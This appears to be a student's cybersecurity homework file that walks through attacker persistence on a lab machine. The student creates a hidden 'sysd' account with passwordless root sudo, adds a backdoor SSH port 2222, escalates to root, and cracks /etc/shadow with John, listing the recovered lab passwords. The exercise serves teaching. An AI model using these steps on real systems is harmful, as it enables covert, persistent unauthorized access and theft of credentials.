

## Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

### Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
  - `useradd --no-create-home sysd`
2. Give your secret user a password:
  - `passwd sysd`
  - `sysd123`
3. Give your secret user a system UID < 1000:
  - `usermod -u 777 sysd`
4. Give your secret user the same GID:
  - `groupmod -g 777 sysd`
5. Give your secret user full sudo access without the need for a password:
  - `visudo`
  - `sysd ALL=(ALL:ALL) NOPASSWD:ALL`
6. Test that sudo access works without your password:

Your bash commands here

```
sudo -l  
sudo -h  
sudo -s  
man sudo
```

## Step 2: Smooth Sailing

1. Edit the sshd\_config file:

Your bash commands here  
`nano /etc/ssh/sshd_config`  
Add following lines:  
Port 22  
Port 2222

## Step 3: Testing Your Configuration Update

1. Restart the SSH service:
  - `systemctl restart ssh`
2. Exit the root account:
  - `exit`
3. SSH to the target machine using your sysd account and port 2222:
  - `ssh sysd@192.168.6.105 -p 2222`
4. Use sudo to switch to the root user:
  - `sudo su`

## Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222:
  - `ssh sysd@192.168.6.105 -p 2222`
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
  - `sudo su`  
`john /etc/shadow`  
`john -show /etc/shadow`
  - `username:password (8)`  
`sysadmin:passw0rd`  
`student:Goodluck!`  
`mitnik:trustno1`  
`babbage:freedom`  
`lovelace:dragon`  
`stallman:computer`  
`turing:lakers`  
`sysd:sysd123`